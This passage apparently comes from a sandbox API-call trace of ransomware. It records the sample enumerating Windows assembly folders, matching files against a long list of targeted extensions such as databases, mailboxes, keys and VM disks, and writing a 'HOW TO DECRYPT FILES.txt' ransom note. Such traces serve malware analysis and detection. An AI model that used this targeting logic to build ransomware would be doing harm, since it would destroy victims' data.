(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.java") returned 0 [0108.767] lstrlenA (lpString="*.java") returned 6 [0108.767] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0108.767] lstrlenA (lpString="*.asm") returned 5 [0108.767] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0108.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0108.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0108.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0108.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0108.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0108.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0108.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0108.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0108.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0108.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0108.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0108.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0108.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0108.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0108.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0108.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0108.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0108.769] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0108.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0108.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0108.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0108.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0108.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0108.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0108.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0108.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0108.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0108.770] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0108.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0108.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0108.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0108.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0108.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0108.771] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\5206b5bd4f91f3a76ee93be8db190971\\Microsoft.Office.Tools.Word.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0108.771] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47e578f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x47e578f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x47e578f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x121a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Word.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.771] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.771] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37d69250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x37d69250, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x37d69250, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="82425dbc07ec64ab599534080b6fbc08", cAlternateFileName="82425D~1")) returned 1 [0108.771] lstrcmpA (lpString1=".", lpString2="82425dbc07ec64ab599534080b6fbc08") returned -1 [0108.772] lstrcmpA (lpString1="..", lpString2="82425dbc07ec64ab599534080b6fbc08") returned -1 [0108.772] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\*.*") returned="*.*" [0108.772] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\", lpString2="82425dbc07ec64ab599534080b6fbc08" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08" [0108.772] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37d69250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x37d69250, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x37d69250, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.775] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.775] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37d69250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x37d69250, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x37d69250, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.775] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.775] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.775] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a49570, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x37a49570, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x37a49570, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x3e000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.775] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.775] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Tools.v9.0.ni.dll") returned -1 [0108.775] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Tools.v9.0.ni.dll") returned -1 [0108.775] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Tools.v9.0.ni.dll") returned -1 [0108.775] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\*.*") returned="*.*" [0108.775] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\" [0108.775] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\") returned="" [0108.775] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\HOW TO DECRYPT FILES.txt" [0108.775] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.to#\\82425dbc07ec64ab599534080b6fbc08\\how to decrypt files.txt")) returned 0xffffffff [0108.775] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.to#\\82425dbc07ec64ab599534080b6fbc08\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.778] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.780] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.780] CloseHandle (hObject=0x90) returned 1 [0108.780] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\", lpString2="Microsoft.Office.Tools.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll" [0108.780] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0108.780] lstrlenA (lpString="*.ems") returned 5 [0108.780] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.db") returned 0 [0108.780] lstrlenA (lpString="*.db") returned 4 [0108.780] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0108.780] lstrlenA (lpString="*.dbf") returned 5 [0108.780] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0108.781] lstrlenA (lpString="*.myox") returned 6 [0108.781] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0108.781] lstrlenA (lpString="*.myo") returned 5 [0108.781] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0108.781] lstrlenA (lpString="*.qbw") returned 5 [0108.781] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0108.781] lstrlenA (lpString="*.qbb") returned 5 [0108.781] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0108.781] lstrlenA (lpString="*.qbm") returned 5 [0108.781] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0108.781] lstrlenA (lpString="*.qbo") returned 5 [0108.781] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0108.781] lstrlenA (lpString="*.qbx") returned 5 [0108.781] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0108.781] lstrlenA (lpString="*.qba") returned 5 [0108.781] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0108.781] lstrlenA (lpString="*.qby") returned 5 [0108.781] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0108.781] lstrlenA (lpString="*.qbj") returned 5 [0108.781] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0108.782] lstrlenA (lpString="*.ofx") returned 5 [0108.782] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0108.782] lstrlenA (lpString="*.qif") returned 5 [0108.782] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0108.782] lstrlenA (lpString="*.mye") returned 5 [0108.782] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0108.782] lstrlenA (lpString="*.mbox") returned 6 [0108.782] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0108.782] lstrlenA (lpString="*.eml") returned 5 [0108.782] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0108.782] lstrlenA (lpString="*.pst") returned 5 [0108.782] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0108.782] lstrlenA (lpString="*.ost") returned 5 [0108.782] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0108.782] lstrlenA (lpString="*.idx") returned 5 [0108.782] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0108.782] lstrlenA (lpString="*.dbx") returned 5 [0108.782] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0108.782] lstrlenA (lpString="*.sql") returned 5 [0108.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0108.783] lstrlenA (lpString="*.mdb") returned 5 [0108.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0108.783] lstrlenA (lpString="*.fdb") returned 5 [0108.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0108.783] lstrlenA (lpString="*.wab") returned 5 [0108.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0108.783] lstrlenA (lpString="*.dat") returned 5 [0108.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0108.783] lstrlenA (lpString="*.txt") returned 5 [0108.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0108.783] lstrlenA (lpString="*.jpeg") returned 6 [0108.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0108.783] lstrlenA (lpString="*.jpg") returned 5 [0108.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.png") returned 0 [0108.783] lstrlenA (lpString="*.png") returned 5 [0108.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.php") returned 0 [0108.783] lstrlenA (lpString="*.php") returned 5 [0108.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0108.783] lstrlenA (lpString="*.cs") returned 4 [0108.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0108.784] lstrlenA (lpString="*.cpp") returned 5 [0108.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0108.784] lstrlenA (lpString="*.rar") returned 5 [0108.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0108.784] lstrlenA (lpString="*.zip") returned 5 [0108.784] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\82425dbc07ec64ab599534080b6fbc08\\Microsoft.Office.Tools.v9.0.ni.dll", pszSpec="*.html") returned 0 